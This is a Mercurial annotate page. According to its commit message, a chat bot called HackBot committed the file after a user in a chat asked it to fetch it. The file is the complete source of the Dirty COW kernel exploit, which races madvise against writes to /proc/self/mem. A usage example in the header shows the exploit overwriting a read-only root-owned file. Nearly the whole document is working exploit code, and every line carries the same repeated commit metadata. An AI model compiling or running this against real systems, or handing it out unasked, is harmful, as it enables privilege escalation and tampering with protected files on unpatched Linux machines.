Mercurial > repo
annotate dirtyc0w.c @ 9488:c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
author | HackBot |
---|---|
date | Fri, 28 Oct 2016 18:28:08 +0000 |
parents | |
children |
rev | line source |
---|---|
9488
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
1 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
2 ####################### dirtyc0w.c ####################### |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
3 $ sudo -s |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
4 # echo this is not a test > foo |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
5 # chmod 0404 foo |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
6 $ ls -lah foo |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
7 -r-----r-- 1 root root 19 Oct 20 15:23 foo |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
8 $ cat foo |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
9 this is not a test |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
10 $ gcc -pthread dirtyc0w.c -o dirtyc0w |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
11 $ ./dirtyc0w foo m00000000000000000 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
12 mmap 56123000 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
13 madvise 0 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
14 procselfmem 1800000000 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
15 $ cat foo |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
16 m00000000000000000 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
17 ####################### dirtyc0w.c ####################### |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
18 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
19 #include <stdio.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
20 #include <sys/mman.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
21 #include <fcntl.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
22 #include <pthread.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
23 #include <unistd.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
24 #include <sys/stat.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
25 #include <string.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
26 #include <stdint.h> |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
27 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
28 void *map; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
29 int f; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
30 struct stat st; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
31 char *name; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
32 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
33 void *madviseThread(void *arg) |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
34 { |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
35 char *str; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
36 str=(char*)arg; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
37 int i,c=0; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
38 for(i=0;i<100000000;i++) |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
39 { |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
40 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
41 You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
42 > This is achieved by racing the madvise(MADV_DONTNEED) system call |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
43 > while having the page of the executable mmapped in memory. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
44 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
45 c+=madvise(map,100,MADV_DONTNEED); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
46 } |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
47 printf("madvise %d\n\n",c); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
48 } |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
49 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
50 void *procselfmemThread(void *arg) |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
51 { |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
52 char *str; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
53 str=(char*)arg; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
54 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
55 You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
56 > The in the wild exploit we are aware of doesn't work on Red Hat |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
57 > Enterprise Linux 5 and 6 out of the box because on one side of |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
58 > the race it writes to /proc/self/mem, but /proc/self/mem is not |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
59 > writable on Red Hat Enterprise Linux 5 and 6. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
60 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
61 int f=open("/proc/self/mem",O_RDWR); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
62 int i,c=0; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
63 for(i=0;i<100000000;i++) { |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
64 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
65 You have to reset the file pointer to the memory position. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
66 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
67 lseek(f,(uintptr_t) map,SEEK_SET); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
68 c+=write(f,str,strlen(str)); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
69 } |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
70 printf("procselfmem %d\n\n", c); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
71 } |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
72 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
73 |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
74 int main(int argc,char *argv[]) |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
75 { |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
76 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
77 You have to pass two arguments. File and Contents. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
78 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
79 if (argc<3) { |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
80 (void)fprintf(stderr, "%s\n", |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
81 "usage: dirtyc0w target_file new_content"); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
82 return 1; } |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
83 pthread_t pth1,pth2; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
84 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
85 You have to open the file in read only mode. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
86 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
87 f=open(argv[1],O_RDONLY); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
88 fstat(f,&st); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
89 name=argv[1]; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
90 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
91 You have to use MAP_PRIVATE for copy-on-write mapping. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
92 > Create a private copy-on-write mapping. Updates to the |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
93 > mapping are not visible to other processes mapping the same |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
94 > file, and are not carried through to the underlying file. It |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
95 > is unspecified whether changes made to the file after the |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
96 > mmap() call are visible in the mapped region. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
97 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
98 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
99 You have to open with PROT_READ. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
100 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
101 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
102 printf("mmap %zx\n\n",(uintptr_t) map); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
103 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
104 You have to do it on two threads. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
105 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
106 pthread_create(&pth1,NULL,madviseThread,argv[1]); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
107 pthread_create(&pth2,NULL,procselfmemThread,argv[2]); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
108 /* |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
109 You have to wait for the threads to finish. |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
110 */ |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
111 pthread_join(pth1,NULL); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
112 pthread_join(pth2,NULL); |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
113 return 0; |
c44d1d9b6099
<moony_the_lycan> fetch https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
HackBot
parents:
diff
changeset
|
114 } |